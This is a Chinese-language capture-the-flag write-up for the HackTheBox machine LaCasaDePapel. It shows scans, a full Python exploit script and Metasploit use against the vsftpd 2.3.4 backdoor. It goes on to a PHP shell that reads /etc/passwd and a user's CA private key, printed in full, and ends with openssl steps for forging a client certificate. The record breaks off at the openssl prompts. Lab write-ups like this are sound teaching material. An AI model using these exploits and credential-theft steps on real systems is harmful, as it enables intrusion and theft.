Hackthebox - LaCasaDePapel 靶场实战

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靶场信息

Hackthebox - LaCasaDePapel 靶场实战

靶场类型

Hackthebox - LaCasaDePapel 靶场实战

信息收集

Nmap

┌──(root㉿kali)-[~/Desktop]
└─# nmap -sS -sV -A -sC -p- --min-rate 10000 10.10.10.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 04:07 CST
Nmap scan report for 10.10.10.131
Host is up (0.51s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE    SERVICE  VERSION
21/tcp   open     ftp      vsftpd 2.3.4
22/tcp   open     ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03e1c2c9791ca66b51348d7ac3c7c850 (RSA)
|   256 41e495a3390b25f9dadebe6adc59486d (ECDSA)
|_  256 300bc6662b8f5e4f2628750ef5b171e4 (ED25519)
80/tcp   open     http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp  open     ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorizedx0D
|_  Server returned status 401 but no WWW-Authenticate header.
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
|_ssl-date: TLS randomness does not represent time
6200/tcp filtered lm-x
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=1/9%OT=21%CT=1%CU=43703%PV=Y%DS=2%DC=T%G=Y%TM=63BB22C2
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(O
OS:1=M537ST11NW6%O2=M537ST11NW6%O3=M537NNT11NW6%O4=M537ST11NW6%O5=M537ST11N
OS:W6%O6=M537ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R
OS:=Y%DF=Y%T=40%W=7210%O=M537NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%
OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R
OS:%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=
OS:40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S
OS:)

Network Distance: 2 hops
Service Info: OS: Unix

TRACEROUTE (using port 110/tcp)
HOP RTT       ADDRESS
1   386.92 ms 10.10.16.1
2   632.59 ms 10.10.10.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.65 seconds

Http

Hackthebox - LaCasaDePapel 靶场实战

首页面没什么可以点的,GET FREE TRIAL 点了无效,做一下信息收集看看把

Hackthebox - LaCasaDePapel 靶场实战

使用 https 访问,会提示需要提供客户端证书才可以使用

这里扫目录也没扫出其他东西,我们去看看其他思路

漏洞利用

Ftp

目前 ftp 使用的版本是 vsftpd 2.3.4 ,我印象中是有漏洞的,去搜索一下

┌──(root㉿kali)-[~/Desktop]
└─# searchsploit vsftpd 2.3.4
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution                                                                                                                                        | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                                                           | unix/remote/17491.rb
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

确实是有一个漏洞,一个后门命令执行,使用上面那个脚本没成功,去尝试一下 msf 吧

msf6 > search vsftpd 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options 

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

我们填写上域名,然后直接运行

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.10.10.131
rhosts => 10.10.10.131
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit 

[*] 10.10.10.131:21 - The port used by the backdoor bind listener is already open
[-] 10.10.10.131:21 - The service on port 6200 does not appear to be a shell
[*] Exploit completed, but no session was created.

这里似乎提示在 6200 端口,但是我尝试了一下 6200 端口也是无法利用的,在 nmap 的时候 6200 端口也是 filtered 状态的,去尝试直接连接试试

┌──(root㉿kali)-[~/Desktop]
└─# nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
help
  help       Show a list of commands. Type `help [foo]` for information about [foo].      Aliases: ?                     
  ls         List local, instance or class variables, methods and constants.              Aliases: list, dir             
  dump       Dump an object or primitive.                                                                                
  doc        Read the documentation for an object, class, constant, method or property.   Aliases: rtfm, man             
  show       Show the code for an object, class, constant, method or property.                                           
  wtf        Show the backtrace of the most recent exception.                             Aliases: last-exception, wtf?  
  whereami   Show where you are in the code.                                                                             
  throw-up   Throw an exception or error out of the Psy Shell.                                                           
  timeit     Profiles with a timer.                                                                                      
  trace      Show the current call stack.                                                                                
  buffer     Show (or clear) the contents of the code input buffer.                       Aliases: buf                   
  clear      Clear the Psy Shell screen.                                                                                 
  edit       Open an external editor. Afterwards, get produced code in input buffer.                                     
  sudo       Evaluate PHP code, bypassing visibility restrictions.                                                       
  history    Show the Psy Shell history.                                                  Aliases: hist                  
  exit       End the current session and return to caller.                                Aliases: quit, q

似乎是一个 shell

这里我有点感兴趣,去再次扫描一下这个端口试试

┌──(root㉿kali)-[~/Desktop]
└─# nmap -vvv -p6200 10.10.10.131                        
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 04:39 CST
Initiating Ping Scan at 04:39
Scanning 10.10.10.131 [4 ports]
Completed Ping Scan at 04:39, 0.43s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:39
Completed Parallel DNS resolution of 1 host. at 04:39, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 04:39
Scanning 10.10.10.131 [1 port]
Discovered open port 6200/tcp on 10.10.10.131
Completed SYN Stealth Scan at 04:39, 0.45s elapsed (1 total ports)
Nmap scan report for 10.10.10.131
Host is up, received syn-ack ttl 63 (0.39s latency).
Scanned at 2023-01-09 04:39:23 CST for 1s

PORT     STATE SERVICE REASON
6200/tcp open  lm-x    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.99 seconds
           Raw packets sent: 5 (196B) | Rcvd: 5 (196B)

再次扫描显示的却是 open,那证明之前的脚本对这台服务器做了什么,去把机器还原一下,然后再去看看漏洞详情

# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host"help="input the address of the vulnerable host"type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)"#if necessary, edit this line
tn.write(user.encode('ascii') + b"n")
tn.read_until(b"password."#if necessary, edit this line
tn.write(password.encode('ascii') + b"n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

这里是对 21 端口进行了登录,但是账号却是 “:)” 这么一个笑脸?等恢复好以后去尝试手动利用呢

┌──(root㉿kali)-[~/Desktop]
└─# nc 10.10.10.131 6200
(UNKNOWN) [10.10.10.131] 6200 (?) : Connection refused

直接请求确实是不行的,所以一开始的扫描结果应该是正确的

┌──(root㉿kali)-[~/Desktop]
└─# ftp 10.10.10.131                                                                                                  
Connected to 10.10.10.131.
220 (vsFTPd 2.3.4)
Name (10.10.10.131:root): lucifiel:)
331 Please specify the password.
Password: 

421 Service not available, remote server timed out. Connection closed.
ftp: Login failed

然后我们随便使用一个账号登录 ftp,将结果添加上 Hackthebox - LaCasaDePapel 靶场实战 笑脸就可以了

┌──(root㉿kali)-[~/Desktop]
└─# nmap -vvv -p6200 10.10.10.131                       
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 04:44 CST
Initiating Ping Scan at 04:44
Scanning 10.10.10.131 [4 ports]
Completed Ping Scan at 04:44, 0.42s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:44
Completed Parallel DNS resolution of 1 host. at 04:44, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 04:44
Scanning 10.10.10.131 [1 port]
Discovered open port 6200/tcp on 10.10.10.131
Completed SYN Stealth Scan at 04:44, 0.44s elapsed (1 total ports)
Nmap scan report for 10.10.10.131
Host is up, received echo-reply ttl 63 (0.39s latency).
Scanned at 2023-01-09 04:44:06 CST for 0s

PORT     STATE SERVICE REASON
6200/tcp open  lm-x    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds
           Raw packets sent: 5 (196B) | Rcvd: 5 (196B)

然后再扫描就是显示 open

┌──(root㉿kali)-[~/Desktop]
└─# nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

然后再连接就显示给了我们一个 php shell

https://stackoverflow.com/questions/56910401/how-to-execute-system-commands-using-psysh-php

这里找到一篇参考文章,显示如果我们要使用这个 php shell 执行系统命令,那么我们可以使用反引号 ` 来将要执行的指令给包起来,我们去尝试执行一下

`whoami`
PHP Warning:  shell_exec() has been disabled for security reasons in phar://eval()'d code on line 1

这里提示错误,但是知道了执行我们命令的函数是 shell_exec ()

如果我们尝试自己构造命令呢?

echo("I'm Lucifiel!")
I'm Lucifiel!⏎
system("whoami")
PHP Fatal error:  Call to undefined function system() in Psy Shell code on line 1
system("id")
PHP Fatal error:  Call to undefined function system() in Psy Shell code on line 1

echo 被成功输出了,但是 shell 的似乎没有输出?所以我们需要尝试一下哪些函数可以被执行

phphpinfo()
phpinfo()
PHP Version => 7.2.10

System => Linux lacasadepapel 4.14.78-0-virt #1-Alpine SMP Tue Oct 23 11:43:38 UTC 2018 x86_64
Build Date => Sep 17 2018 09:23:43

phpinfo 可以被执行,也可以显示很多重要的信息,但是由于内容太多我就不全部贴上来了

disable_functions => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

我们这里可以看到,刚才尝试的部分函数已经被 php 禁用了

去翻一下 php 函数吧,复习复习基本功

https://www.runoob.com/php/php-ref-directory.html

还真找到一个,scandir () 函数,返回指定目录中的文件和目录的数组。

scandir(".")
=> [
     ".",
     "..",
     ".DS_Store",
     "._.DS_Store",
     "bin",
     "boot",
     "dev",
     "etc",
     "home",
     "lib",
     "lost+found",
     "media",
     "mnt",
     "opt",
     "proc",
     "root",
     "run",
     "sbin",
     "srv",
     "swap",
     "sys",
     "tmp",
     "usr",
     "var",
   ]

当前我们在根目录,而且 mac 用户看到 .DS_Store 应该能想到,这台是和 mac 进行过连接的

scandir("/home/")
=> [
     ".",
     "..",
     "berlin",
     "dali",
     "nairobi",
     "oslo",
     "professor",
   ]

这里可以看到是有五个用户的

file_get_contents("/etc/passwd")
=> """
   root:x:0:0:root:/root:/bin/ashn
   bin:x:1:1:bin:/bin:/sbin/nologinn
   daemon:x:2:2:daemon:/sbin:/sbin/nologinn
   adm:x:3:4:adm:/var/adm:/sbin/nologinn
   lp:x:4:7:lp:/var/spool/lpd:/sbin/nologinn
   sync:x:5:0:sync:/sbin:/bin/syncn
   shutdown:x:6:0:shutdown:/sbin:/sbin/shutdownn
   halt:x:7:0:halt:/sbin:/sbin/haltn
   mail:x:8:12:mail:/var/spool/mail:/sbin/nologinn
   news:x:9:13:news:/usr/lib/news:/sbin/nologinn
   uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologinn
   operator:x:11:0:operator:/root:/bin/shn
   man:x:13:15:man:/usr/man:/sbin/nologinn
   postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologinn
   cron:x:16:16:cron:/var/spool/cron:/sbin/nologinn
   ftp:x:21:21::/var/lib/ftp:/sbin/nologinn
   sshd:x:22:22:sshd:/dev/null:/sbin/nologinn
   at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologinn
   squid:x:31:31:Squid:/var/cache/squid:/sbin/nologinn
   xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologinn
   games:x:35:35:games:/usr/games:/sbin/nologinn
   postgres:x:70:70::/var/lib/postgresql:/bin/shn
   cyrus:x:85:12::/usr/cyrus:/sbin/nologinn
   vpopmail:x:89:89::/var/vpopmail:/sbin/nologinn
   ntp:x:123:123:NTP:/var/empty:/sbin/nologinn
   smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologinn
   guest:x:405:100:guest:/dev/null:/sbin/nologinn
   nobody:x:65534:65534:nobody:/:/sbin/nologinn
   chrony:x:100:101:chrony:/var/log/chrony:/sbin/nologinn
   dali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psyshn
   berlin:x:1001:1001:berlin,,,:/home/berlin:/bin/ashn
   professor:x:1002:1002:professor,,,:/home/professor:/bin/ashn
   vsftp:x:101:21:vsftp:/var/lib/ftp:/sbin/nologinn
   memcached:x:102:102:memcached:/home/memcached:/sbin/nologinn
   "
""

可以确定这几个用户不是都有 bash 权限的,我们去看看有没有权限获得某个的 ssh 密钥吧

scandir("/home/dali/.ssh")
=> [
     ".",
     "..",
     "authorized_keys",
     "known_hosts",
   ]

经过测试,只有 dali 的目录咱们有权限

file_get_contents("/home/nairobi/ca.key")
=> """
   -----BEGIN PRIVATE KEY-----n
   MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdbn
   7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/n
   2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRln
   uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8Mn
   YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEypn
   s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Usn
   PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3Vn
   Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89n
   1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZn
   /CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+n
   q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mrn
   uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVdn
   I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Ogn
   7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bEn
   G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmnn
   sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDHn                                                                                                                                              
   CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Yn
   sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNIn
   ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2n
   zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/n
   ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxCn
   9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9Mn
   WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbMn
   7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsRn
   aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vcn
   53udBEzjt3WPqYGkkDknVhjDn
   -----END PRIVATE KEY-----n
   "
""

我们在 nairobi 用户下发现了一个 ca.key 文件,里面有一段证书?还是密钥?说不好

   -----BEGIN PRIVATE KEY-----n
   MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdbn
   7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/n
   2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRln
   uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8Mn
   YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEypn
   s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Usn
   PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3Vn
   Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89n
   1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZn
   /CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+n
   q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mrn
   uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVdn
   I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Ogn
   7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bEn
   G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmnn
   sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDHn                                                                                                                                              
   CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Yn
   sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNIn
   ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2n
   zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/n
   ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxCn
   9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9Mn
   WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbMn
   7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsRn
   aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vcn
   53udBEzjt3WPqYGkkDknVhjDn
   -----END PRIVATE KEY-----n

这样直接保存下来,格式真是相当的乱啊,稍微替换整理一下

在 vim 中使用 :%s/\n//g/ :%s/ //g 就行替换

得到了干净密钥

-----BEGINPRIVATEKEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb
7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/
2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl
uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M
YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp
s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us
PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V
Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89
1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ
/CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+
q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr
uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd
I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og
7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE
G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn
sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH
CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y
sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI
ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2
zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/
ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC
9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M
WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM
7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR
aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc
53udBEzjt3WPqYGkkDknVhjD
-----ENDPRIVATEKEY-----

但是空格被我们删除完了,所以我们还需要修改一下

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb
7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/
2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl
uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M
YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp
s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us
PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V
Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89
1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ
/CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+
q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr
uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd
I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og
7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE
G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn
sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH
CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y
sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI
ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2
zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/
ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC
9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M
WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM
7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR
aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc
53udBEzjt3WPqYGkkDknVhjD
-----END PRIVATE KEY-----

ok,这样才是一个完整正确的密钥

然后我们去生成一个证书

openssl req -new -key ca.key -out server.csr
openssl x509 -req -days 365 -in server.csr -signkey ca.key -out server.crt
openssl pkcs12 -export -in server.crt -inkey ca.key -out server.p12

内容可以随便填

┌──(root㉿kali)-[~/Desktop]
└─# openssl req -new -key ca.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
